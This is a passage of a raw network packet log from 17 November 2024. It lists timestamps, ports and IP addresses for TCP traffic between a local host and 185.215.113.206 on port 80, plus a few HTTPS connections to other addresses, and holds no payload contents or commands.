Nov 17, 2024 03:42:43.276906013 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.276922941 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.276935101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.276947021 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.276954889 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.276968002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.276976109 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.276984930 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.276994944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277009964 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277014971 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277033091 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277049065 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277049065 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277053118 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277064085 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277079105 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277085066 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277093887 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277121067 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277122021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277143002 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277144909 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277160883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277179956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277199030 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277199030 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277200937 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277220964 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277229071 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277239084 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277246952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277252913 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277266979 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277290106 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277306080 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277318954 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277329922 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277339935 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277357101 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277359962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277370930 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277379990 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277400970 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277405977 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277424097 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277445078 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277465105 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277477026 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277482033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277501106 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277503967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277523041 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277534962 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277548075 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277559996 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277566910 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277575016 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.277586937 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277586937 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.277595997 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277601957 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277626038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277645111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277646065 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277646065 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277646065 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.277652025 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.277667999 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277672052 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277693987 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277699947 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277710915 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277719021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277734995 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277740955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277748108 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277760029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277770996 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277780056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277793884 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277801037 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277807951 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277820110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277838945 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277856112 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277859926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277879000 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277879000 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277899027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277905941 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277918100 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277920008 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277935982 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277936935 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277951956 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277956009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277971029 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.277981997 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.277992964 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278001070 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278012037 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278021097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278032064 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278038979 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278049946 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278067112 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278080940 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278084993 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278100014 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278105974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278114080 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278126955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278137922 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278146029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278156042 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278165102 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278179884 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278188944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278202057 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278202057 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278219938 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278228045 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278234959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278248072 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278270006 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278281927 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278290987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278306007 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278310061 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278327942 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278330088 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278347015 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278351068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278362036 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278369904 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278387070 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278393030 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278412104 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278434038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278449059 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278451920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278475046 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278476954 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278493881 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278501034 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278521061 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278526068 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278537989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278554916 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278561115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278580904 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278584003 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278599977 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278611898 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278619051 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278628111 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278637886 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278652906 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278656960 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278667927 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278676987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278688908 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278692961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278707027 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278718948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278733969 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278738976 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278753996 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278759003 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278778076 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278794050 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278826952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278846979 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278866053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278875113 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278886080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278903008 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278904915 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.278930902 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.278945923 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.284590006 CET	49909	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.284610033 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.284631014 CET	49909	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.284636021 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.289648056 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.289690018 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.289748907 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.290251970 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.290267944 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.292447090 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.292488098 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.292555094 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.292705059 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.292711973 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.313685894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.313713074 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.313759089 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.313777924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.313807011 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.313858986 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.355070114 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.355093956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.355104923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.355139971 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.355185986 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.378721952 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.378762007 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.378810883 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:43.378840923 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.378865957 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:43.378884077 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:43.379266024 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.379327059 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:43.391463995 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.391474962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.391499043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.391510963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.391525030 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.391530991 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.391542912 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.391552925 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.391562939 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.391567945 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.391573906 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.391583920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.391586065 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.391593933 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.391603947 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.391606092 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.391624928 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.391642094 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392440081 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392493010 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392527103 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392535925 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392546892 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392558098 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392568111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392571926 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392577887 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392611980 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392612934 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392620087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392630100 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392637968 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392656088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392666101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392667055 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392673969 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392695904 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392695904 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392707109 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392712116 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392715931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392728090 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392738104 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392750025 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392760992 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392766953 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392781973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392796993 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392802000 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392812967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392817020 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392822981 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392833948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392832994 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392843008 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392851114 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392853975 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392864943 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392884016 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392896891 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392909050 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392919064 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392929077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392940044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392949104 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392954111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392961979 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392963886 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.392971039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.392991066 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393018007 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393063068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393096924 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393115044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393125057 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393157959 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393167019 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393176079 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393176079 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393177986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393237114 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393286943 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393296957 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393306971 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393327951 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393338919 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393345118 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393345118 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393348932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393359900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393362045 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393414974 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393420935 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393430948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393444061 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393455029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393461943 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393465042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393475056 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393490076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393501043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393510103 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393512964 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393532038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393546104 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393548965 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393563986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393573046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393584013 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393594980 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393599033 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393604994 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393615961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393625975 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393629074 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393636942 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393647909 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393671036 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393672943 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393697977 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393706083 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393716097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393721104 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393747091 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.393760920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.393775940 CET	80	49797	185.215.113.206	192.168.2.5
